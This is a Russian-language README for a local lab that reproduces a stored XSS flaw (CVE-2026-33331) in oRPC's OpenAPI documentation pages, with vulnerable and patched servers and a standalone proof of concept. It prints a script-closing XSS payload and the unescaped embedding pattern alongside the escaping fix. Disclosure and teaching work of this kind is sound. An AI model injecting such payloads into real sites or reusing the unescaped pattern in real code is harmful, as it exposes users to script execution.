
Локальная лаборатория, воспроизводящая хранимый XSS в генерации OpenAPI-документации oRPC (CVE-2026-33331), с уязвимой и исправленной версиями для сравнения и автономным PoC.
Лабораторный стенд для воспроизведения хранимого XSS в генерации документации OpenAPI в orpc
oRPC строит страницы документации API на основе спецификации OpenAPI. До версии v1.13.9 он вставлял спецификацию напрямую в тег <script> с помощью JSON.stringify() без HTML-кодирования. Любое поле, контролируемое атакующим, например , могло преждевременно закрыть этот тег и выполнить скрипт.
info.descriptionЭтот репозиторий предоставляет локальный стенд для воспроизведения уязвимости, а также исправленную версию для сравнения.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-33331 |
| GHSA | GHSA-7f6v-3gx7-27q8 |
| CWE | CWE-79 (Некорректная нейтрализация входных данных при генерации веб-страницы) |
| Продукт | middleapi/orpc |
| Затронуты | Все версии ниже v1.13.9 |
| Исправлено | v1.13.9 |
| Обнаружение | Abhay Kumar (@abhayclasher) |
Уязвимый код в packages/openapi/src/plugins/openapi-reference.ts отображает спецификацию следующим образом:
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>
JSON.stringify() создаёт корректный JSON, но не экранирует символы < и >. Браузер по-прежнему воспринимает </script> как закрывающий HTML-тег, даже внутри <script type="application/json">.
Полезная нагрузка в info.description, которая запускает выполнение:
"</script><script>alert('XSS')</script>"
Браузер видит:
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>
Первый </script> закрывает блок. Всё, что идёт после него, выполняется как встроенный JavaScript.
Это применимо, когда приложение строит спецификации OpenAPI из пользовательского ввода — именно тот случай, который oRPC обеспечивает через определения роутеров.
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d
После запуска сервера посетите следующие URL:
| URL | Описание |
|---|---|
http://localhost:3000/docs | Уязвимая страница документации — XSS-нагрузка выполняется при загрузке |
http://localhost:3000/docs/safe | Та же страница с применённым патчем v1.13.9 |
http://localhost:3000/spec.json | Исходная спецификация OpenAPI в формате JSON |
Уязвимая версия вызовет alert() при загрузке страницы, подтверждая выполнение скрипта. Исправленная версия отображает ту же вредоносную спецификацию безопасно — нагрузка отображается как обычный текст.
Вы также можете запустить автономный PoC:
cd poc
node exploit.js
Это запустит минимальный сервер на порту 3000, демонстрирующий ту же уязвимость без полного контекста приложения.
1. Атакующий контролирует поле в спецификации OpenAPI (например, description)
2. oRPC генерирует HTML документации с помощью JSON.stringify(spec)
3. </script> в нагрузке преждевременно закрывает тег <script>
4. Браузер выполняет всё, что следует далее, как встроенный JavaScript
┌─────────────────────────────────────────────────────┐
│ 1. Создана вредоносная спецификация: │
│ │
│ info.description = │
│ "</script><script>alert('XSS')</script>" │
│ │
│ 2. orpc встраивает спецификацию в HTML: │
│ │
│ <script id="spec" type="application/json"> │
│ {"info":{"description":"</script> <-- тег │
│ <script>alert('XSS')</script> <-- нагрузка │
│ "}} │
│ </script> │
│ │
│ 3. Браузер выполняет alert('XSS') │
└─────────────────────────────────────────────────────┘
Версия 1.13.9 вводит escapeJsonForHtml(), которая заменяет чувствительные к HTML символы на Unicode-экранирования перед встраиванием JSON в тег script:
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
.replace(/&/g, '\\u0026')
.replace(/'/g, '\\u0027')
.replace(/</g, '\\u003C')
.replace(/>/g, '\\u003E')
.replace(/\//g, '\\u002F');
Unicode-экранирования работают, потому что остаются корректным JSON — JSON.parse() восстанавливает исходную строку — но при этом никогда не выглядят как HTML для парсера браузера.
Патч также перешёл от чтения JSON из атрибута DOM dataset.config (который ломался, когда значения содержали скобки) к прямому присваиванию экранированного JSON встроенной переменной.
Посмотреть полный коммит: 4f0efa8
CVE-2026-33331/
├── README.md # Этот файл
├── docker-compose.yml # Конфигурация Docker-стенда
├── app/
│ ├── Dockerfile # Конфигурация сборки контейнера
│ ├── package.json # Зависимости Node.js
│ └── server.js # Рендерер документации (уязвимый + исправленный)
└── poc/
└── exploit.js # Автономный минимальный proof-of-concept
Сообщено Abhay Kumar. Этот репозиторий предназначен только для локального образовательного использования. Не разворачивайте уязвимый сервер в публичной сети.
Только в образовательных целях — используйте в изолированных средах